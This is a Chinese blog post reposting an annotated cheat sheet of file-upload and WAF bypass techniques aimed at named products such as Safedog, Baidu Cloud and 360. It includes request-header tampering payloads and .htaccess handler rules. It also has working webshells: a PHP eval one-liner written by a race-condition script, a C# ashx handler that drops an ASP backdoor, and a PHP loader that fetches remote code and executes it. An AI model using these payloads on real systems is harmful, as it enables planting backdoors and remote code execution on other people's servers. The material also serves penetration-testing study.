最近在学习绕过上传方面的知识,恰好看到了零组知识库对这一个方面进行了总结,而且整理出来的绕过知识点很齐全。因此对这篇文章做一个转载,同时也添加自己对于绕过点的一些理解。
原文链接:http://www.0-sec.org
WAF绕过 安全狗绕过
绕过思路:对文件的内容,数据,数据包进行处理。
1 2 3 4 关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php" 将form-data; 修改为~form-data; #Content-Disposition相应头指示回复的内容该以何种形式展示,是以内联的形式,还是以附件的形式下载并保存到本地。
通过替换大小写来进行绕过
1 2 3 4 5 Content-Disposition: form-data; name="file"; filename="yjh.php" Content-Type: application/octet-stream 将Content-Disposition 修改为content-Disposition 将form-data 修改为Form-data 将Content-Type 修改为content-Type
通过删减空格来进行绕过
1 2 3 4 5 Content-Disposition: form-data; name="file"; filename="yjh.php" Content-Type: application/octet-stream 将Content-Disposition: form-data 冒号后面 增加或减少一个空格 将form-data; name="file"; 分号后面 增加或减少一个空格 将Content-Type: application/octet-stream 冒号后面 增加一个空格
通过字符串拼接绕过
1 2 3 看Content-Disposition: form-data; name="file"; filename="yjh3.php" 将 form-data 修改为 f+orm-data 将 from-data 修改为 form-d+ata
双文件上传绕过
1 2 3 4 5 6 7 8 <form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐data"> <input name="FileName1" type="FILE" class="tx1" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上传"> </form> #在IIS环境下上传多个文件时,IIS会将第一个上传文件作为参数,WAF只会对第二个文件进行处理
HTTP header属性名称绕过
1 2 3 4 5 6 7 8 源代码: Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png 绕过内容如下: Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png C.php" 删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php". #或者可尝试删除掉整行的Content-Type
HTTP header属性值绕过
1 2 3 Content-Disposition: form-data; name="file"; filename="yjh.php" 我们通过替换form-data 为*来绕过 Content-Disposition: *; name="file"; filename="yjh.php"
等效绕过
1 2 3 4 5 6 7 原内容: Content-Type: multipart/form-data; boundary=---------------------------471463142114 修改后: Content-Type: multipart/form-data; boundary =---------------------------471463142114 boundary后面加入空格。 #其实可以理解为通过删减空格来绕过
修改编码绕过
1 使用UTF-16、Unicode、双URL编码等等
WTS-WAF 上传绕过 1 2 3 4 5 6 7 原内容: Content-Disposition: form-data; name="up_picture"; filename="xss.php" 添加回车 Content-Disposition: form-data; name="up_picture"; filename="xss.ph p" #回车添加在文件名后。ph回车p
百度云上传绕过 1 2 百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。 Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
360主机上传绕过 1 2 3 4 5 源代码: Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png 绕过内容如下: Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png Content-Disposition 修改为 Content-空格Disposition
MIME类型绕过 1 2 3 4 5 6 7 8 9 上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过 text/html : HTML格式 text/plain :纯文本格式 text/xml : XML格式 image/gif :gif图片格式 image/jpeg :jpg图片格式 image/png:png图片格式
文件内容检测绕过 1 2 3 4 5 6 7 8 9 10 11 12 ①抓包,在正常图片末尾添加一句话木马 @文件幻数头绕过 常见文件头: (1) .JPEG;.JPE;.JPG,”JPGGraphic File” (2) .gif,”GIF 89A” (3) .zip,”Zip Compressed” (4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile” (5).JPEG/JPG: FF D8 (6).PNG:89 50 (7).GIF:47 49
多次上传Win特性绕过 1 2 多次上传同一个文件,windows会自动更新补全TEST (1).php。 有时会触发条件竞争,导致绕过。
条件竞争绕过 1 2 3 4 通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。 shell.php <?php fputs(fopen('1.php' ,'w' ),'<?php @eval($_POST["bu1"]);?>' );?>
CONTENT-LENGTH绕过 1 2 3 针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。 #有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
垃圾数据填充绕过 1 2 3 4 修改HTTP请求,再之中加入大量垃圾数据 ①垃圾数据放在啊Content-Type后 ②垃圾数据放在数据包开头,即content-Disposition
黑名单后缀绕过 文件拓展名绕过 1 2 3 4 Php除了可以解析php后缀 还可以解析php2,php3,php4 后缀 Asp可解析 asa,cer,cdx Aspx可解析 ashx,asmx,ascx Jsp可解析jspx、jspf
.htaccess文件绕过 1 2 3 4 重置解析名称,将png调成php解析,之后再将php后缀改为png上传。代码如下: <FilesMatch ".png"> SetHandler application/x-httpd-php </FilesMatch>
ashx绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 cer,asa,cdx等等无法使用时候。编辑器允许上传ashx文件的或,上传这个脚本解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put <%@ WebHandler Language="C#" Class="Handler" %> using System; using System.Web; using System.IO; public class Handler : IHttpHandler { public void ProcessRequest (HttpContext context) { context.Response.ContentType = "text/plain"; //这里会在目录下生成一个test.asp的文件 StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp")); //这里是写入一句话木马 密码是:ptu file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close(); } public bool IsReusable { get { return false; } } } #一般处理程序(HttpHandler)是·NET众多web组件的一种,ashx是其扩展名。一个httpHandler接受并处理一个http请求,类比于Java中的servlet。
特殊文件名绕过 1 比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
Windows流特性绕过 1 php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。
文件名大小写 1 有时黑名单没有对大小写进行特别的限定,因此我们可以给文件取名为PhP,AsP,JSp等待来尝试绕过。
白名单后缀绕过 00截断绕过上传
IIS 6.0 目录路径检测解析绕过
htaccess解析漏洞 1 2 3 上传的jpg文件都会以php格式解析 .htaccess内容: AddType application/x-httpd-php .jpg
突破MIME限制上传 1 方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。
Apache解析漏洞 1 2 3 4 5 6 7 1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。 可将文件名设为shell.php.7z 或者 ".doc", ".xls", ".txt", ".pdf", ".zip", ".rar", ".7z",".ppt",".tiff"); 2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。
IIS解析漏洞 1 2 3 IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"会优先按asp来解析 IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;
Nginx解析漏洞 1 2 3 4 解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php 描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。 还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
解析漏洞 1 Content-Disposition: form-data; name="file"; filename=php.php;.jpg
前端限制绕过 1 2 1.使用BURP抓包修改后重放 2.使用浏览器中元素审查,修改允许或禁止上传的文件类型。
下载绕过 1 2 3 4 5 远程下载文件绕过 <?php $str = file_get_contents('http://127.0.0.1/ian.txt'); $str($_post['ian']); ?>
文件包含绕过 1 2 3 4 上传图片木马 $x=$_GET['x']; include($x); 访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg
总结 文件上传姿势
客户端javascript检验(一般只校验后缀名)
服务端校验
文件头content-type字段校验(image/gif)
文件内容头校验(GIF89a)
后缀名黑名单校验
后缀名白名单校验
自定义正则校验
WAF设备校验(根据不同的WAF产品而定)
文件上传绕过校验姿势
客户端绕过(抓包改包)
服务端绕过
配合文件包含漏洞绕过
配合服务器解析漏洞绕过
CMS、编辑器漏洞绕过
配合操作系统文件命名规则绕过
配合其他规则绕过
WAF绕过